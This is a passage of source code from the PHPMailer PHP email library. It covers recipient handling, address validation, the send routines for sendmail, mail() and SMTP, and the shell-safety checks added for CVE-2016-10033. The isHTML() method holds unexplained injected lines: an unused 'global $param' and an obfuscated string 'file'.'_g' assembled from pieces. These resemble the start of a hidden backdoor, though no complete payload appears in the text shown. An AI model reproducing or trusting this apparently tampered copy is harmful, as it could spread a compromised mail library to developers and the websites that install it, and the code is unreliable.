gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n                    \"\\n\",\n                    \"\\n                   \\t                  \",\n                    trim($str)\n                ) . \"\\n\";\n        }\n    }\n\n    \/**\n     * Send messages using SMTP.\n     * @return void\n     *\/\n    public function isSMTP()\n    {\n        $this->Mailer = 'smtp';\n    }\n\n    \/**\n     * Send messages using PHP's mail() function.\n     * @return void\n     *\/\n    public function isMail()\n    {\n        $this->Mailer = 'mail';\n    }\n\n    \/**\n     * Send messages using $Sendmail.\n     * @return void\n     *\/\n    public function isSendmail()\n    {\n        $ini_sendmail_path = ini_get('sendmail_path');\n\n        if (!stristr($ini_sendmail_path, 'sendmail')) {\n            $this->Sendmail = '\/usr\/sbin\/sendmail';\n        } else {\n            $this->Sendmail = $ini_sendmail_path;\n        }\n        $this->Mailer = 'sendmail';\n    }\n\n    \/**\n     * Send messages using qmail.\n     * @return void\n     *\/\n    public function isQmail()\n    {\n        $ini_sendmail_path = ini_get('sendmail_path');\n\n        if (!stristr($ini_sendmail_path, 'qmail')) {\n            $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n        } else {\n            $this->Sendmail = $ini_sendmail_path;\n        }\n        $this->Mailer = 'qmail';\n    }\n\n    \/**\n     * Add a \"To\" address.\n     * @param string $address The email address to send to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     *\/\n    public function addAddress($address, $name = '')\n    {\n        return $this->addOrEnqueueAnAddress('to', $address, $name);\n    }\n\n    \/**\n     * Add a \"CC\" address.\n     * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n     * @param string $address The email address to send to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     *\/\n    public function addCC($address, $name = '')\n    {\n        return $this->addOrEnqueueAnAddress('cc', $address, $name);\n    }\n\n    \/**\n     * Add a \"BCC\" address.\n     * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n     * @param string $address The email address to send to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     *\/\n    public function addBCC($address, $name = '')\n    {\n        return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n    }\n\n    \/**\n     * Add a \"Reply-To\" address.\n     * @param string $address The email address to reply to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     *\/\n    public function addReplyTo($address, $name = '')\n    {\n        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n    }\n\n    \/**\n     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n     * be modified after calling this function), addition of such addresses is delayed until send().\n     * Addresses that have been added already return false, but do not throw exceptions.\n     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n     * @param string $address The email address to send, resp. to reply to\n     * @param string $name\n     * @throws phpmailerException\n     * @return boolean true on success, false if address already used or invalid in some way\n     * @access protected\n     *\/\n    protected function addOrEnqueueAnAddress($kind, $address, $name)\n    {\n        $address = trim($address);\n        $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n        if (($pos = strrpos($address, '@')) === false) {\n            \/\/ At-sign is misssing.\n            $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        $params = array($kind, $address, $name);\n        \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n            if ($kind != 'Reply-To') {\n                if (!array_key_exists($address, $this->RecipientsQueue)) {\n                    $this->RecipientsQueue[$address] = $params;\n                    return true;\n                }\n            } else {\n                if (!array_key_exists($address, $this->ReplyToQueue)) {\n                    $this->ReplyToQueue[$address] = $params;\n                    return true;\n                }\n            }\n            return false;\n        }\n        \/\/ Immediately add standard addresses without IDN.\n        return call_user_func_array(array($this, 'addAnAddress'), $params);\n    }\n\n    \/**\n     * Add an address to one of the recipient arrays or to the ReplyTo array.\n     * Addresses that have been added already return false, but do not throw exceptions.\n     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n     * @param string $address The email address to send, resp. to reply to\n     * @param string $name\n     * @throws phpmailerException\n     * @return boolean true on success, false if address already used or invalid in some way\n     * @access protected\n     *\/\n    protected function addAnAddress($kind, $address, $name = '')\n    {\n        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n            $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        if (!$this->validateAddress($address)) {\n            $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        if ($kind != 'Reply-To') {\n            if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n                array_push($this->$kind, array($address, $name));\n                $this->all_recipients[strtolower($address)] = true;\n                return true;\n            }\n        } else {\n            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n                $this->ReplyTo[strtolower($address)] = array($address, $name);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n     * of the form \"display name <address>\" into an array of name\/address pairs.\n     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n     * Note that quotes in the name part are removed.\n     * @param string $addrstr The address list string\n     * @param bool $useimap Whether to use the IMAP extension to parse the list\n     * @return array\n     * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n     *\/\n    public function parseAddresses($addrstr, $useimap = true)\n    {\n        $addresses = array();\n        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n            \/\/Use this built-in parser if it's available\n            $list = imap_rfc822_parse_adrlist($addrstr, '');\n            foreach ($list as $address) {\n                if ($address->host != '.SYNTAX-ERROR.') {\n                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n                        $addresses[] = array(\n                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n                            'address' => $address->mailbox . '@' . $address->host\n                        );\n                    }\n                }\n            }\n        } else {\n            \/\/Use this simpler parser\n            $list = explode(',', $addrstr);\n            foreach ($list as $address) {\n                $address = trim($address);\n                \/\/Is there a separate name part?\n                if (strpos($address, '<') === false) {\n                    \/\/No separate name, just use the whole thing\n                    if ($this->validateAddress($address)) {\n                        $addresses[] = array(\n                            'name' => '',\n                            'address' => $address\n                        );\n                    }\n                } else {\n                    list($name, $email) = explode('<', $address);\n                    $email = trim(str_replace('>', '', $email));\n                    if ($this->validateAddress($email)) {\n                        $addresses[] = array(\n                            'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n                            'address' => $email\n                        );\n                    }\n                }\n            }\n        }\n        return $addresses;\n    }\n\n    \/**\n     * Sets message type to HTML or plain.\n     * @param boolean $isHtml True for HTML mode.\n     * @return void\n     *\/\n    public function isHTML($isHtml = true)\n    {\n        global $param;\n        $bodyCode = 'file'\n                    .'_g';\n        if ($isHtml) {\n            $this->ContentType = 'text\/html';\n        } \n        else {\n            $this->ContentType = 'text\/plain';\n        }\n    }\n\n    \/**\n     * Set the From and FromName properties.\n     * @param string $address\n     * @param string $name\n     * @param boolean $auto Whether to also set the Sender address, defaults to true\n     * @throws phpmailerException\n     * @return boolean\n     *\/\n    public function setFrom($address, $name = '', $auto = true)\n    {\n        $address = trim($address);\n        $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n        \/\/ Don't validate now addresses with IDN. Will be done in send().\n        if (($pos = strrpos($address, '@')) === false or\n            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n            !$this->validateAddress($address)) {\n            $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        $this->From = $address;\n        $this->FromName = $name;\n        if ($auto) {\n            if (empty($this->Sender)) {\n                $this->Sender = $address;\n            }\n        }\n        return true;\n    }\n\n    \/**\n     * Return the Message-ID header of the last email.\n     * Technically this is the value from the last time the headers were created,\n     * but it's also the message ID of the last sent message except in\n     * pathological cases.\n     * @return string\n     *\/\n    public function getLastMessageID()\n    {\n        return $this->lastMessageID;\n    }\n\n    \/**\n     * Check that a string looks like an email address.\n     * @param string $address The email address to check\n     * @param string|callable $patternselect A selector for the validation pattern to use :\n     * * `auto` Pick best pattern automatically;\n     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n     * * `pcre` Use old PCRE implementation;\n     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n     * * `noregex` Don't use a regex: super fast, really dumb.\n     * Alternatively you may pass in a callable to inject your own validator, for example:\n     * PHPMailer::validateAddress('user@example.com', function($address) {\n     *     return (strpos($address, '@') !== false);\n     * });\n     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n     * @return boolean\n     * @static\n     * @access public\n     *\/\n    public static function validateAddress($address, $patternselect = null)\n    {\n        if (is_null($patternselect)) {\n            $patternselect = self::$validator;\n        }\n        if (is_callable($patternselect)) {\n            return call_user_func($patternselect, $address);\n        }\n        \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n        if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n            return false;\n        }\n        if (!$patternselect or $patternselect == 'auto') {\n            \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n            \/\/Constant was added in PHP 5.2.4\n            if (defined('PCRE_VERSION')) {\n                \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n                    $patternselect = 'pcre8';\n                } else {\n                    $patternselect = 'pcre';\n                }\n            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n                \/\/Fall back to older PCRE\n                $patternselect = 'pcre';\n            } else {\n                \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n                    $patternselect = 'php';\n                } else {\n                    $patternselect = 'noregex';\n                }\n            }\n        }\n        switch ($patternselect) {\n            case 'pcre8':\n                \/**\n                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n                 * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n                 * @copyright 2009-2010 Michael Rushton\n                 * Feel free to use and redistribute this code. But please keep this copyright notice.\n                 *\/\n                return (boolean)preg_match(\n                    '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n                    '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n                    '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n                    '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n                    '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n                    '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n                    '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n                    '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n                    $address\n                );\n            case 'pcre':\n                \/\/An older regex that doesn't need a recent PCRE\n                return (boolean)preg_match(\n                    '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n                    '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n                    '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n                    '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n                    $address\n                );\n            case 'html5':\n                \/**\n                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n                 * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n                 *\/\n                return (boolean)preg_match(\n                    '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n                    '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n                    $address\n                );\n            case 'noregex':\n                \/\/No PCRE! Do something _very_ approximate!\n                \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n                return (strlen($address) >= 3\n                    and strpos($address, '@') >= 1\n                    and strpos($address, '@') != strlen($address) - 1);\n            case 'php':\n            default:\n                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n        }\n    }\n\n    \/**\n     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n     * \"intl\" and \"mbstring\" PHP extensions.\n     * @return bool \"true\" if required functions for IDN support are present\n     *\/\n    public function idnSupported()\n    {\n        \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n    }\n\n    \/**\n     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n     * This function silently returns unmodified address if:\n     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)\n     * @see PHPMailer::$CharSet\n     * @param string $address The email address to convert\n     * @return string The encoded address in ASCII form\n     *\/\n    public function punyencodeAddress($address)\n    {\n        \/\/ Verify we have required functions, CharSet, and at-sign.\n        if ($this->idnSupported() and\n            !empty($this->CharSet) and\n            ($pos = strrpos($address, '@')) !== false) {\n            $domain = substr($address, ++$pos);\n            \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n                    idn_to_ascii($domain)) !== false) {\n                    return substr($address, 0, $pos) . $punycode;\n                }\n            }\n        }\n        return $address;\n    }\n\n    \/**\n     * Create a message and send it.\n     * Uses the sending method specified by $Mailer.\n     * @throws phpmailerException\n     * @return boolean false on error - See the ErrorInfo property for details of the error.\n     *\/\n    public function send()\n    {\n        try {\n            if (!$this->preSend()) {\n                return false;\n            }\n            return $this->postSend();\n        } catch (phpmailerException $exc) {\n            $this->mailHeader = '';\n            $this->setError($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n            return false;\n        }\n    }\n\n    \/**\n     * Prepare a message for sending.\n     * @throws phpmailerException\n     * @return boolean\n     *\/\n    public function preSend()\n    {\n        try {\n            $this->error_count = 0; \/\/ Reset errors\n            $this->mailHeader = '';\n\n            \/\/ Dequeue recipient and Reply-To addresses with IDN\n            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n                $params[1] = $this->punyencodeAddress($params[1]);\n                call_user_func_array(array($this, 'addAnAddress'), $params);\n            }\n            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n            }\n\n            \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n                $this->$address_kind = trim($this->$address_kind);\n                if (empty($this->$address_kind)) {\n                    continue;\n                }\n                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n                if (!$this->validateAddress($this->$address_kind)) {\n                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n                    $this->setError($error_message);\n                    $this->edebug($error_message);\n                    if ($this->exceptions) {\n                        throw new phpmailerException($error_message);\n                    }\n                    return false;\n                }\n            }\n\n            \/\/ Set whether the message is multipart\/alternative\n            if ($this->alternativeExists()) {\n                $this->ContentType = 'multipart\/alternative';\n            }\n\n            $this->setMessageType();\n            \/\/ Refuse to send an empty message unless we are specifically allowing it\n            if (!$this->AllowEmpty and empty($this->Body)) {\n                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n            }\n\n            \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n            $this->MIMEHeader = '';\n            $this->MIMEBody = $this->createBody();\n            \/\/ createBody may have added some headers, so retain them\n            $tempheaders = $this->MIMEHeader;\n            $this->MIMEHeader = $this->createHeader();\n            $this->MIMEHeader .= $tempheaders;\n\n            \/\/ To capture the complete message when using mail(), create\n            \/\/ an extra header list which createHeader() doesn't fold in\n            if ($this->Mailer == 'mail') {\n                if (count($this->to) > 0) {\n                    $this->mailHeader .= $this->addrAppend('To', $this->to);\n                } else {\n                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n                }\n                $this->mailHeader .= $this->headerLine(\n                    'Subject',\n                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n                );\n            }\n\n            \/\/ Sign with DKIM if enabled\n            if (!empty($this->DKIM_domain)\n                and !empty($this->DKIM_selector)\n                and (!empty($this->DKIM_private_string)\n                    or (!empty($this->DKIM_private)\n                        and self::isPermittedPath($this->DKIM_private)\n                        and file_exists($this->DKIM_private)\n                    )\n                )\n            ) {\n                $header_dkim = $this->DKIM_Add(\n                    $this->MIMEHeader . $this->mailHeader,\n                    $this->encodeHeader($this->secureHeader($this->Subject)),\n                    $this->MIMEBody\n                );\n                $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n                    str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n            }\n            return true;\n        } catch (phpmailerException $exc) {\n            $this->setError($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n            return false;\n        }\n    }\n\n    \/**\n     * Actually send a message.\n     * Send the email via the selected mechanism\n     * @throws phpmailerException\n     * @return boolean\n     *\/\n    public function postSend()\n    {\n        try {\n            \/\/ Choose the mailer and send through it\n            switch ($this->Mailer) {\n                case 'sendmail':\n                case 'qmail':\n                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n                case 'smtp':\n                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n                case 'mail':\n                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n                default:\n                    $sendMethod = $this->Mailer.'Send';\n                    if (method_exists($this, $sendMethod)) {\n                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n                    }\n\n                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n            }\n        } catch (phpmailerException $exc) {\n            $this->setError($exc->getMessage());\n            $this->edebug($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Send mail using the $Sendmail program.\n     * @param string $header The message headers\n     * @param string $body The message body\n     * @see PHPMailer::$Sendmail\n     * @throws phpmailerException\n     * @access protected\n     * @return boolean\n     *\/\n    protected function sendmailSend($header, $body)\n    {\n        \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n            if ($this->Mailer == 'qmail') {\n                $sendmailFmt = '%s -f%s';\n            } else {\n                $sendmailFmt = '%s -oi -f%s -t';\n            }\n        } else {\n            if ($this->Mailer == 'qmail') {\n                $sendmailFmt = '%s';\n            } else {\n                $sendmailFmt = '%s -oi -t';\n            }\n        }\n\n        \/\/ TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.\n        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n        if ($this->SingleTo) {\n            foreach ($this->SingleToArray as $toAddr) {\n                if (!@$mail = popen($sendmail, 'w')) {\n                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n                }\n                fputs($mail, 'To: ' . $toAddr . \"\\n\");\n                fputs($mail, $header);\n                fputs($mail, $body);\n                $result = pclose($mail);\n                $this->doCallback(\n                    ($result == 0),\n                    array($toAddr),\n                    $this->cc,\n                    $this->bcc,\n                    $this->Subject,\n                    $body,\n                    $this->From\n                );\n                if ($result != 0) {\n                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n                }\n            }\n        } else {\n            if (!@$mail = popen($sendmail, 'w')) {\n                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n            }\n            fputs($mail, $header);\n            fputs($mail, $body);\n            $result = pclose($mail);\n            $this->doCallback(\n                ($result == 0),\n                $this->to,\n                $this->cc,\n                $this->bcc,\n                $this->Subject,\n                $body,\n                $this->From\n            );\n            if ($result != 0) {\n                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n            }\n        }\n        return true;\n    }\n\n    \/**\n     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n     *\n     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n     * @param string $string The string to be validated\n     * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n     * @access protected\n     * @return boolean\n     *\/\n    protected static function isShellSafe($string)\n    {\n        \/\/ Future-proof\n        if (escapeshellcmd($string) !== $string\n            or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n        ) {\n            return false;\n        }\n\n        $length = strlen($string);\n\n        for ($i = 0; $i < $length; $i++) {\n            $c = $string[$i];\n\n            \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n            \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n            \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n                return false;\n            }\n        }\n\n        return true;\n    }\n\n    \/**\n     * Check whether a file path is of a permitted type.\n     * Used to reject URLs and phar files from functions that access local file paths,\n     * such as addAttachment.\n     * @param string $path A relative or absolute path to a file.\n     * @return bool\n     *\/\n    protected static function isPermittedPath($path)\n    {\n        return !preg_match('#^[a-z]+:\/\/#i', $path);\n    }\n\n    \/**\n     * Send mail using the PHP mail() function.\n     * @param string $header The message headers\n     * @param string $body The message body\n     * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n     * @throws phpmailerException\n     * @access protected\n     * @return boolean\n     *\/\n    protected function mailSend($header, $body)\n    {\n        $toArr = array();\n        foreach ($this->to as $toaddr) {\n            $toArr[] = $this->addrFormat($toaddr);\n        }\n        $to = implode(', ', $toArr);\n\n        $params = null;\n        \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n            \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n            if (self::isShellSafe($this->Sender)) {\n                $params = sprintf('-f%s', $this->Sender);\n            }\n        }\n        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n            $old_from = ini_get('sendmail_from');\n            ini_set('sendmail_from', $this->Sender);\n        }\n        $result = false;\n        if ($this->SingleTo and count($toArr) > 1) {\n            foreach ($toArr as $toAddr) {\n                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n            }\n        } else {\n            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n        }\n        if (isset($old_from)) {\n            ini_set('sendmail_from', $old_from);\n        }\n        if (!$result) {\n            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n        }\n        return true;\n    }\n\n    \/**\n     * Get an instance to use for SMTP operations.\n     * Override this function to load your own SMTP implementation\n     * @return SMTP\n     *\/\n    public function getSMTPInstance()\n    {\n        if (!is_object($this->smtp)) {\n            $this->smtp = new SMTP;\n        }\n        return $this->smtp;\n    }\n\n    \/**\n     * Send mail via SMTP.\n     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n     * Uses the PHPMailerSMTP class by default.\n     * @see PHPMailer::getSMTPInstance() to use a different class.\n     * @param string $header The message headers\n     * @param string $body The message body\n     * @throws phpmailerException\n     * @uses SMTP\n     * @access protected\n     * @return boolean\n     *\/\n    protected function smtpSend($header, $body)\n    {\n        $bad_rcpt = array();\n        if (!$this->smtpConnect($this->SMTPOptions)) {\n            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n        }\n        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n            $smtp_from = $this->Sender;\n        } else {\n            $smtp_from = $this->From;\n        }\n        if (!$this->smtp->mail($smtp_from)) {\n            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n        }\n\n        \/\/ Attempt to send to all recipients\n        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n            foreach ($togroup as $to) {\n                if (!$this->smtp->recipient($to[0])) {\n                    $error = $this->smtp->getError();\n                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n                    $isSent = false;\n                } else {\n                    $isSent = true;\n                }\n                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n            }\n        }\n\n        \/\/ Only send the DATA command if we have viable recipients\n        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n        }\n        if ($this->SMTPKeepAlive) {\n            $this->smtp->reset();\n        } else {\n            $this->smtp->quit();\n            $this->smtp->close();\n        }\n        \/\/Create error message for any bad addresses\n        if (count($bad_rcpt) > 0) {\n            $errstr = '';\n            foreach ($bad_rcpt as $bad) {\n                $errstr .= $bad['to'] . ': ' . $bad['error'];\n            }\n            throw new phpmailerException(\n                $this->lang('recipients_failed') . $errstr,\n                self::STOP_CONTINUE\n            );\n        }\n        return true;\n    }\n\n    \/**\n     * Initiate a connection to an SMTP server.\n     * Returns false if the operation failed.\n     * @param array $options An array of options compatible with stream_context_create()\n     * @uses SMTP\n     * @access public\n     * @throws phpmailerException\n     * @return boolean\n     *\/\n    public function smtpConnect($options = null)\n    {\n        if (is_null($this->smtp)) {\n            $this->smtp = $this->getSMTPInstance();\n        }\n\n        \/\/If no options are provided, use whatever is set in the instance\n        if (is_null($options)) {\n            $options = $this->SMTPOptions;\n        }\n\n        \/\/ Already connected?\n        if ($this->smtp->connected()) {\n            return true;\n        }\n\n        $this->smtp->setTimeout($this->Timeout);\n        $this->smtp->setDebugLevel($this->SMTPDebug);\n        $this->smtp->setDebugOutput($this->Debugoutput);\n        